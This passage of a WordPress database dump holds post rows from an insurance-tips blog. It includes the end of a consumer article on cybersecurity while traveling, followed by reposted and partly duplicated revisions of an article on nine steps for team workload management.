or classroom. It is important to practice safe online behavior and secure internet-enabled mobile devices whenever you travel, as well. The more you travel and access the internet on the go, the more cyber risks you face. No one is exempt from the threat of cybercrime, at home or on the go, but you can follow these simple tips to stay safe online when traveling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Before You Go</h2>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Update your mobile software.&nbsp;</strong>Treat your mobile device like your home or work computer. Keep your operating system software and apps updated, which will improve your device’s ability to defend against malware.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Back up your information.</strong>&nbsp;Back up your contacts, photos, videos and other mobile device data with another device or cloud service.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Set up the&nbsp;<strong>\"find my device feature\" on all your devices.&nbsp;</strong>This will help you find your phone, tablet or laptop if you lose it and might allow you to disable or wipe data from it if it gets in the wrong hands.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Keep it locked.&nbsp;</strong>Get into the habit of locking your device when you are not using it. Even if you only step away for a few minutes, that is enough time for someone to steal or destroy your information. Use strong PINs and passwords.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">While You Are There</h2>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Stop auto connecting.&nbsp;</strong>Disable remote connectivity and Bluetooth. Some devices will automatically seek and connect to available wireless networks. And Bluetooth enables your device to connect wirelessly with other devices, such as headphones or automobile infotainment systems. Disable these features so that you only connect to wireless and Bluetooth networks when you want to.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Think before you connect.&nbsp;</strong>Before you connect to any public wireless hotspot – like on an airplane or in an airport, hotel, train/bus station or café – be sure to confirm the name of the network and exact login procedures with appropriate staff to ensure that the network is legitimate.<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Do not conduct sensitive activities, such as online shopping, banking or sensitive work, using a public wireless network.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Only use sites that begin with “https://” when online shopping or banking.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Using your mobile network connection is generally more secure than using a public wireless network.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list --></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Think before you click.&nbsp;</strong>Use caution when downloading or clicking on any unknown links. Delete emails that are suspicious or are from unknown sources. Review and understand the details of an application before installing.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Guard your mobile device.&nbsp;</strong>To prevent theft and unauthorized access or loss of sensitive information, never leave your mobile devices, including any USB or external storage devices, unattended in a public place. Keep your devices secured in taxis, at airports, on airplanes and in your hotel room.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Common Cybersecurity Threats While Traveling</h2>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Unsecured wireless networks.&nbsp;</strong>While public wireless networks provide great convenience, allowing people to connect to the internet from almost anywhere, they are unsecure and can allow cyber criminals access to your internet-enabled devices. Beyond the typical public wireless networks found at airports, restaurants, hotels and cafes, they are increasingly available in other places, such as on airplanes and in public parks.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Publicly accessible computers.&nbsp;</strong>Hotel business centers, libraries and cyber cafes provide computers that anyone can use. Travelers, however, cannot trust that these computers are secure. They might not be running the latest operating systems or have updated anti- virus software. Cyber criminals might have infected these machines with malicious viruses or install malicious software.<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>For example, keylogger malware, when installed, captures the key strokes of the computer’s users and sending this information to criminals via email.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Through this malware, criminals are able to receive users’ personal information, such as name, credit card numbers, birthdates and passwords.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list --></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Physical theft of devices. </strong>Thieves often target travelers. Meal times are optimum times for thieves to check hotel rooms for unattended laptops. If you are attending a conference or trade show, be especially wary: These venues offer thieves a wider selection of devices that are likely to contain sensitive information, and the conference sessions offer more opportunities for thieves to access guest rooms.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://it.nc.gov/resources/online-safety-privacy/tips-guidance/cybersecurity-while-traveling\">click here.</a></p>\n<!-- /wp:paragraph -->','Cybersecurity While Traveling','','inherit','closed','closed','','3913-revision-v1','','','2024-03-30 02:05:52','2024-03-30 02:05:52','',3913,'https://smartinsurance.tips/?p=3915',0,'revision','',0),(3916,1,'2024-03-30 02:11:24','2024-03-30 02:11:24','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3917,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-16-1024x1024.png\" alt=\"\" class=\"wp-image-3917\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Does your team often feel overworked? Does it seem like some team members struggle to keep up while others are left with too little to do? If so, it\'s time for some workload planning.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Workload management is an essential component of effective team management and leadership. It’s critical to improving your team\'s efficiency and maximizing performance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An effective workload management plan tracks, measures, and analyzes employee workloads to identify areas of improvement. The goal is to balance workloads, so employees work on the right tasks at the right time and with the right resources.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this article, we\'ll examine workload management, how to spot an imbalance in your team, and how you can build an effective workload management process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>What Is Workload Management?</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Workload management is the process of allocating and distributing work amongst employees in a way that optimizes efficiency and prevents overwork. It is vital to ensure that each employee has a manageable workload according to their skill level.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are two key aspects to workload management:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Tracking team workloads:</strong>&nbsp;Time tracking and task management can help you understand how team workload is distributed and how much work each employee does.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Distributing workloads:</strong>&nbsp;When you use that team workload insight to allocate tasks, you can ensure that each team member has a workload appropriate for their skill set and capacity.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Workload management is a dynamic process that should be regularly reviewed and updated to reflect changes in the business, such as new projects or staff changes. Dips in team performance and increases in overwork and burnout are signs it\'s time to reassess your workload planning.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Why Managing Your Workload Matters</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Managing workloads is an important element of fostering a happy and productive team. When a team’s work is unbalanced, it can lead to many problems, but taking a proactive approach to workload management can help you avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are some of the benefits of an effective workload management system:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>It helps you optimize team performance:</strong> Working long hours doesn\'t mean you’ll get more done, since overwork decreases productivity. Understanding your team\'s capacity allows you to assign tasks more efficiently and prevent overwork. Optimized workflows lead to improved performance and increased efficiency.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>It protects your team members\' health:</strong> In the first study of its kind, the World Health Organization (WHO) and International Labor Organization (ILO) discovered that working long hours increases the risk of heart disease and stroke. More than 745,000 people died from these causes in 2016, directly attributable to working more than 55 hours a week.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>It helps you identify areas of improvement:</strong>&nbsp;When you track your team\'s workload, you can identify areas where team members struggle and address them accordingly. You might provide additional training or reassign tasks to distribute workloads more evenly.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>It helps reduce the risk of burnout: </strong>According to a Deloitte survey of over 1,000 employees, 77% suffered from burnout at work, 91% stated that stress and frustration affected their work quality, and 83% reported that burnout negatively affected their personal lives. The more effectively you balance workloads, the lower the risk of burnout and the better the employee experience.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The effort and time it takes to track, assess, and distribute team workloads can be significant. But in the end, a comprehensive workload management system can help you save time and money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>How to Spot an Imbalance in Your Team\'s Workload</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A crucial step in adequately managing your team\'s workload is noticing when things are out of balance. Spotting the signs of overwork or discontent can help you take corrective action before it leads to more severe problems, such as employee burnout.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here are some of the most common signs that your team\'s workload might be out of sync:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Employees are consistently putting in long work hours or taking work home with them.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>There are high levels of absenteeism due to illness or stress.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Team members are frequently taking time off for personal reasons or holidays.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>There is a high turnover rate.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Team performance is declining with frequent mistakes or missed due dates.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>There are high levels of conflict or tension amongst team members.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If you notice any of these signs, it\'s a good indication that your team\'s workload is out of balance. Multiple factors may contribute to this, such as an uneven distribution of work, unrealistic deadlines, hustle culture, or a lack of resources.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Examine your team\'s workload closely and identify areas for improvement, then take action to address the problems as soon as possible. This will help prevent further issues from developing and show your employees that you\'re committed to managing workloads effectively.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>9 Quicks Steps to Creating an Effective Workload Management Process</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Building an effective workload management process requires careful planning and execution. Here are some key steps to follow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>1. Define Your Goals</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Before you start, it\'s important to take a step back and think about what effective workload management looks like for you. What do you want to achieve by workload planning? Do you want to improve team performance, reduce the risk of burnout, or increase workflow efficiency? By defining and prioritizing goals, you can formulate a better plan to achieve them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>2. Assess Your Current Status and Team Capacity</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The next step is to take a closer look at your current workload distribution. How is team performance? Where are team members struggling, and what\'s working well? When you locate bottlenecks, you can do something to improve them, like balance workloads according to team capacity or reassign tasks to prevent overwork.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>3. Identify and Gather Your Resources</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When planning your workload management process, it\'s important to consider your available resources. This includes things like time, money, and staff. Before implementing, you\'ll need to ensure you have enough resources to support your workload management process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>4. Prioritize Projects and Tasks</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Once you\'ve defined your goals, assessed your team capacity, and understand your resource allocation, you can start developing a workload management plan. Effective workload planning includes everything from allocating and managing tasks to workflow balance. A great place to start is to prioritize tasks by the highest priority, then work down the list, assigning tasks as you go.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>5. Set Deadlines and Expectations</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As you\'re assigning tasks, setting expectations and due dates is essential. It should be clear to you and the person responsible for the job what exactly needs to be done and when the deadline is. This ensures that tasks are completed on time while reducing time anxiety and improving quality.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>6. Communicate the Workload Management Process</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Once you\'ve developed a plan, communicate it to the entire team. Answer critical questions, so all team members understand their roles and expectations. This will help to ensure that everyone is on the same page and knows what they need to do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>7. Stay on Track With a Clear Plan</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Clarity is crucial for effective workload management. Create a single location where the entire team can see the plan and which tasks they need to complete. This could be a physical project schedule board or an online project management tool like Asana. Not only does workload planning help everyone stay organized, but it also allows you to track progress at a glance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>8. Monitor Your Workload With Time Tracking</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Busy times present their own challenges, but time management tools can help. Time tracking software, like Rize, empowers your employees to see how they’re spending their time and to make adjustments for optimal focus and productivity. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This can also help your team members spot signs of overwork so they can let you know when their workload is becoming unmanageable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>9. Review and Adjust Your Process</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Regularly review your workload management process to see how it\'s working. Are your team members finding it helpful? Does anything need to be improved? Adjust your strategy as necessary to ensure it\'s always meeting your team\'s needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Top Workload Management Tips</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Once you\'ve created your workload management process, you can do a few things to ensure it\'s always running smoothly. Here are some tips:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Communicate with your team regularly:</strong>&nbsp;Check-in with team members regularly and discuss workloads, deadlines, and expectations. Encourage employees to give feedback as well. When the entire team is on the same page, you can prevent misunderstandings and increase productivity.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Be realistic about time frames:&nbsp;</strong>When setting deadlines and estimating workloads, be realistic about the amount of time the work takes. It\'s one thing to be optimistic, but if you\'re unrealistic, employees will become frustrated, and workloads will suffer.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Use data to inform decision-making: </strong>Use data to guide your workload planning. Consider things like time tracking data, resource allocations, and team capacity to help you make more informed decisions that will improve efficiency and productivity.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Discourage long hours:</strong>&nbsp;While it\'s sometimes necessary to work a little longer to meet an important milestone, discourage employees from doing this regularly. Long hours can lead to burnout, which will ultimately decrease productivity.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>List goals to add clarity:</strong>&nbsp;Both short- and long-term goals should be clear to team members. This will help everyone stay focused and motivated and make workload management easier.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>With these tips, you can improve how you manage workloads and get the most from your team.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Master Workload Management and Boost Your Productivity</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>We all experience busy times at work, but if your team seems more stressed than usual, you might want to consider implementing a workload management process. Workload management can help you and your team stay organized, productive, and balanced.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rize makes it easy to help your team monitor their time and workload. The app works quietly in the background, automatically tracking work hours and focus time, so your employees can spot when they’re overworking. Try Rize for free for two weeks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://rize.io/blog/workload-management\">click here.</a></p>\n<!-- /wp:paragraph -->','Try These 9 Steps for Effective Workload Management','','publish','closed','closed','','try-these-9-steps-for-effective-workload-management','','','2024-03-30 02:11:26','2024-03-30 02:11:26','',0,'https://smartinsurance.tips/?p=3916',0,'post','',0),(3917,1,'2024-03-30 02:09:11','2024-03-30 02:09:11','','Untitled-16','','inherit','closed','closed','','untitled-16-2','','','2024-03-30 02:09:11','2024-03-30 02:09:11','',3916,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-16.png',0,'attachment','image/png',0),(3918,1,'2024-03-30 02:11:24','2024-03-30 02:11:24','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3917,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-16-1024x1024.png\" alt=\"\" class=\"wp-image-3917\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Does your team often feel overworked? Does it seem like some team members struggle to keep up while others are left with too little to do? If so, it\'s time for some workload planning.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Workload management is an essential component of effective team management and leadership. It’s critical to improving your team\'s efficiency and maximizing performance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An effective workload management plan tracks, measures, and analyzes employee workloads to identify areas of improvement. The goal is to balance workloads, so employees work on the right tasks at the right time and with the right resources.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this article, we\'ll examine workload management, how to spot an imbalance in your team, and how you can build an effective workload management process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>What Is Workload Management?</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Workload management is the process of allocating and distributing work amongst employees in a way that optimizes efficiency and prevents overwork. It is vital to ensure that each employee has a manageable workload according to their skill level.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are two key aspects to workload management:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Tracking team workloads:</strong>&nbsp;Time tracking and task management can help you understand how team workload is distributed and how much work each employee does.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Distributing workloads:</strong>&nbsp;When you use that team workload insight to allocate tasks, you can ensure that each team member has a workload appropriate for their skill set and capacity.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Workload management is a dynamic process that should be regularly reviewed and updated to reflect changes in the business, such as new projects or staff changes. Dips in team performance and increases in overwork and burnout are signs it\'s time to reassess your workload planning.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Why Managing Your Workload Matters</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Managing workloads is an important element of fostering a happy and productive team. When a team’s work is unbalanced, it can lead to many problems, but taking a proactive approach to workload management can help you avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are some of the benefits of an effective workload management system:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>It helps you optimize team performance:</strong> Working long hours doesn\'t mean you’ll get more done, since overwork decreases productivity. Understanding your team\'s capacity allows you to assign tasks more efficiently and prevent overwork. Optimized workflows lead to improved performance and increased efficiency.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>It protects your team members\' health:</strong> In the first study of its kind, the World Health Organization (WHO) and International Labor Organization (ILO) discovered that working long hours increases the risk of heart disease and stroke. More than 745,000 people died from these causes in 2016, directly attributable to working more than 55 hours a week.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>It helps you identify areas of improvement:</strong>&nbsp;When you track your team\'s workload, you can identify areas where team members struggle and address them accordingly. You might provide additional training or reassign tasks to distribute workloads more evenly.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>It helps reduce the risk of burnout: </strong>According to a Deloitte survey of over 1,000 employees, 77% suffered from burnout at work, 91% stated that stress and frustration affected their work quality, and 83% reported that burnout negatively affected their personal lives. The more effectively you balance workloads, the lower the risk of burnout and the better the employee experience.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The effort and time it takes to track, assess, and distribute team workloads can be significant. But in the end, a comprehensive workload management system can help you save time and money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>How to Spot an Imbalance in Your Team\'s Workload</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A crucial step in adequately managing your team\'s workload is noticing when things are out of balance. Spotting the signs of overwork or discontent can help you take corrective action before it leads to more severe problems, such as employee burnout.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here are some of the most common signs that your team\'s workload might be out of sync:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Employees are consistently putting in long work hours or taking work home with them.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>There are high levels of absenteeism due to illness or stress.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Team members are frequently taking time off for personal reasons or holidays.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>There is a high turnover rate.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Team performance is declining with frequent mistakes or missed due dates.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>There are high levels of conflict or tension amongst team members.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If you notice any of these signs, it\'s a good indication that your team\'s workload is out of balance. Multiple factors may contribute to this, such as an uneven distribution of work, unrealistic deadlines, hustle culture, or a lack of resources.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Examine your team\'s workload closely and identify areas for improvement, then take action to address the problems as soon as possible. This will help prevent further issues from developing and show your employees that you\'re committed to managing workloads effectively.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>9 Quicks Steps to Creating an Effective Workload Management Process</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Building an effective workload management process requires careful planning and execution. Here are some key steps to follow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>1. Define Your Goals</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Before you start, it\'s important to take a step back and think about what effective workload management looks like for you. What do you want to achieve by workload planning? Do you want to improve team performance, reduce the risk of burnout, or increase workflow efficiency? By defining and prioritizing goals, you can formulate a better plan to achieve them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>2. Assess Your Current Status and Team Capacity</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The next step is to take a closer look at your current workload distribution. How is team performance? Where are team members struggling, and what\'s working well? When you locate bottlenecks, you can do something to improve them, like balance workloads according to team capacity or reassign tasks to prevent overwork.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>3. Identify and Gather Your Resources</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When planning your workload management process, it\'s important to consider your available resources. This includes things like time, money, and staff. Before implementing, you\'ll need to ensure you have enough resources to support your workload management process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>4. Prioritize Projects and Tasks</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Once you\'ve defined your goals, assessed your team capacity, and understand your resource allocation, you can start developing a workload management plan. Effective workload planning includes everything from allocating and managing tasks to workflow balance. A great place to start is to prioritize tasks by the highest priority, then work down the list, assigning tasks as you go.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>5. Set Deadlines and Expectations</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As you\'re assigning tasks, setting expectations and due dates is essential. It should be clear to you and the person responsible for the job what exactly needs to be done and when the deadline is. This ensures that tasks are completed on time while reducing time anxiety and improving quality.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>6. Communicate the Workload Management Process</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Once you\'ve developed a plan, communicate it to the entire team. Answer critical questions, so all team members understand their roles and expectations. This will help to ensure that everyone is on the same page and knows what they need to do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>7. Stay on Track With a Clear Plan</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Clarity is crucial for effective workload management. Create a single location where the entire team can see the plan and which tasks they need to complete. This could be a physical project schedule board or an online project management tool like Asana. Not only does workload planning help everyone stay organized, but it also allows you to track progress at a glance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>8. Monitor Your Workload With Time Tracking</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Busy times present their own challenges, but time management tools can help. Time tracking software, like Rize, empowers your employees to see how they’re spending their time and to make adjustments for optimal focus and productivity. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This can also help your team members spot signs of overwork so they can let you know when their workload is becoming unmanageable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>9. Review and Adjust Your Process</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Regularly review your workload management process to see how it\'s working. Are your team members finding it helpful? Does anything need to be improved? Adjust your strategy as necessary to ensure it\'s always meeting your team\'s needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Top Workload Management Tips</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Once you\'ve created your workload management process, you can do a few things to ensure it\'s always running smoothly. Here are some tips:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Communicate with your team regularly:</strong>&nbsp;Check-in with team members regularly and discuss workloads, deadlines, and expectations. Encourage employees to give feedback as well. When the entire team is on the same page, you can prevent misunderstandings and increase productivity.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Be realistic about time frames:&nbsp;</strong>When setting deadlines and estimating workloads, be realistic about the amount of time the work takes. It\'s one thing to be optimistic, but if you\'re unrealistic, employees will become frustrated, and workloads will suffer.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Use data to inform decision-making: </strong>Use data to guide your workload planning. Consider things like time tracking data, resource allocations, and team capacity to help you make more informed decisions that will improve efficiency and productivity.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Discourage long hours:</strong>&nbsp;While it\'s sometimes necessary to work a little longer to meet an important milestone, discourage employees from doing this regularly. Long hours can lead to burnout, which will ultimately decrease productivity.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item 